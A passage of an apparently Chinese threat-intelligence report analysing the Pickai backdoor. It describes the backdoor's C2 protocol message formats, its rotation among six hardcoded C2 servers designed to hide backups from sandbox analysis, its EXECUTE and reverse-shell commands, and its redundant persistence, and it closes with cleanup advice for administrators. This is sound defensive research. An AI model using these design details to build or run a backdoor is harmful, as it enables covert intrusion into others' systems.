&#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Pickai通过一个永真的循环进行网络通信，它的通信机制采用三级定时策略：每43200秒（12小时）从6个硬编码C2中轮换活跃节点，每1200秒周期性上报设备信息，每120秒向C2请求指令。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000395" alt="pickai_time.png" class="rich_pages wxw-img" data-ratio="0.6129629629629629" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=fa762cc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpslDQPsxTATABibeYRzz3xPEO0FssB2mfKduLHXgicyNb1ajhQVBIt0aw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">0x1: 请求指令报文</span></span></h4><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h4><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">长度1024字节，前7字节为“LISTEN|”，其余部分0x00填充。支持</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">EXECUTE</span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">和</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">REVERSE</span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">俩个指令，它们分别对应执行系统命令和反弹shell俩个功能。</span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000393" alt="pickai_cmd.png" class="rich_pages wxw-img" data-ratio="0.20245398773006135" data-type="png" data-w="652" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=5b8a4cbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpSCAcX7tWXdfrc7p4eEsaBow0DcjQtNq3ib6mAcftibgV9wOMITKicn6MA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></div><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">0x2: 上报设备信息报文</span></span></h4><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h4><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">长度1024字节，前7字节为“UPDATE|”，其后紧跟着3部分元数据，未使用的空间使用0x00填充</span></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">系统指纹（uname -a）</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">特权状态（当前用户是否为root）</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">是否为docker（检测1号进程是否为init或systemd）</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></p></li></ul><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000392" alt="pickai_update.png" class="rich_pages wxw-img" data-ratio="0.2374429223744292" data-type="png" data-w="657" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=95a9d125&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpBiatMU7AC0ashVsXESGZNYKHenFooFpem616JfzLMY1FCtVUSw4LfjQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">0x3: C2验活报文</span></span></h4><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h4><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">样本中硬编码了6个C2，Bot以先后顺序为优先级，依次向这些C2发送验活请求，直至收到首个活跃C2的响应。这种设计使得高优先级C2在正常通信时掩盖低优先级C2的存在，在一定程度上能够对抗基于沙箱流量进行IOC生产的系统。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000394" alt="pickai_c2.png" class="rich_pages wxw-img" data-ratio="0.21174863387978143" data-type="png" data-w="732" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9906747b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpDhMhCNlPn7ibVTcI5Tibec2NjhMhMO3rZKeiafWTKE2N3mm2Q5ZPLFzuQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">验活报文长度7字节，固定为“STATUS|”，当C2回复</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">LISTENING</span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">时，表示该C2处于活跃状态。</span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000391" alt="pickai_checkalive.png" class="rich_pages wxw-img" data-ratio="0.07559055118110236" data-type="png" data-w="635" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3b185360&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpFruibkUB1Jb6xRwTicf45NnicUcWQutCHb7w4e7W2Iz9x6geC7ZBV6GHg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></div><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">0x4: 跟踪到的指令</span></h4><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">我们在XLab指令跟踪系统中实现了Pickai的协议，只在6月6日接收2条指令，用于开启反弹shell。由于尚未对REVERSE、EXECUTE等后续攻击指令进行模拟，攻击者在成功建立shell会话后的具体攻击意图暂无法完整溯源。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000396" alt="pickai_reverse.png" class="rich_pages wxw-img" data-ratio="0.1504315659679408" data-type="png" data-w="811" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=0fc03991&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpicjPm56264JwoQGzMOZibOvxT7h5QHZQa1SFwFiakFOJHjRLQoKsHuQOw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">总结</span></span></h1><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Pickai的冗余持久化机制使其具备类似顽固木马的特性，即使仅残留一处未被清理，就能触发再生。网络管理员可基于前文所述的Pickai主机行为特征进行深度排查，确保其植入的5个副本被彻底清除，避免残留导致二次感染。</span></p><p><span data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">这是我们当前掌握的关于Pickai的基本情报，诚邀具有独特视角的同行企业及受此后门木马影响的网络管理员和我们联系提供进一步的线索。</span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6a536944&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpicRVOtz6ckA6rVw8NibVvPJhEw2cAH0rN9TDGyomXuBmGxCDxhPibCAUQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e6384215&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpqWpLibCShAE8B3oDqRklCR46ibsZiakCGAq08HlLFAuhtSEWad64PUQyA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=05da29d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpTOhicCl5Ah3vglib61yK0w7kkNoBflKF0JyYy3WHxQRBYvK0Yrpv85BQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a962899f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnppTicicXFicR4RGj8w7ia4So3PyhtiaoGjLYib1CqCLajjAkUT9SK9wPicBPwQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1b644601&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpTkJW3wU1CHPAMLVuqFnPZXYrYqzAGtQthWHUABwxVlTag01Rbtxiapw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2d888761&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnp830azrCASy7QVRqzMZ6iaBwUbiaLUgicBjfeS7o2VQFbG7ncJVSicx4kxQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=aa1cbe28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnp5ALZn8x2u3Y6NFZQv61SKIeECbhXwqG3B6tibsf8YsOibAdPM0ibJEmmg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=518a8b2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnp3ibCl02mtmLbxicKCaN0XnUhYYPWWuW77MpcRiapOPzfauI4wNOgtIDlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=de51d588&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpz4plte3IkKZLUpw1GdK3leZWTjy6pHy1qpX7jmslVnLiazpCB8V4NHw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a21831a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpGb81py7mVq2JurCtqaXfGia8V5usicTwMJDzvOFH0nO8nn1rh5v6zOOw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0ae8d0ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnp26MxfyZFba7uRT3BvcIiasjHAEHveriaryaFcicpXvIK2ibibxEib65TneLA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ed4bed91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpVhAWE5iajpxUaECfrVNSgsuPQvVt2UZ2XO585awFibGoHib1icBsGFxNtg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=45d2076c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpfOGq78UvnQf8SIJh4HanvaJjFEtn2g37J6Yb2PicKGDtFypgic0Sx1Yw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2f65ffd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpB4ct1GCqTZMyyNUXqO9Qe5r80ric4nOU9BK2jNpRCrKGQMYviaLAGtaQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=711608bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpMpluusD6wHmBIR8vgUn7FrecuNkDeIyPBEjIqbLkM3cz8pQ73s1TJg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f313f4be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnps4FKiaZjiclTbOlKEsPd9B9DUYAiarWGRHicDCXT02F1v7Cv6cdbQRLytQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c2d05070&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpslDQPsxTATABibeYRzz3xPEO0FssB2mfKduLHXgicyNb1ajhQVBIt0aw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8942fa99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpSCAcX7tWXdfrc7p4eEsaBow0DcjQtNq3ib6mAcftibgV9wOMITKicn6MA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a4234034&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpBiatMU7AC0ashVsXESGZNYKHenFooFpem616JfzLMY1FCtVUSw4LfjQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=91de3d78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpDhMhCNlPn7ibVTcI5Tibec2NjhMhMO3rZKeiafWTKE2N3mm2Q5ZPLFzuQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=eda5a47f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpFruibkUB1Jb6xRwTicf45NnicUcWQutCHb7w4e7W2Iz9x6geC7ZBV6GHg%2F640%3Fwx_fmt%3Dpng"/></p>
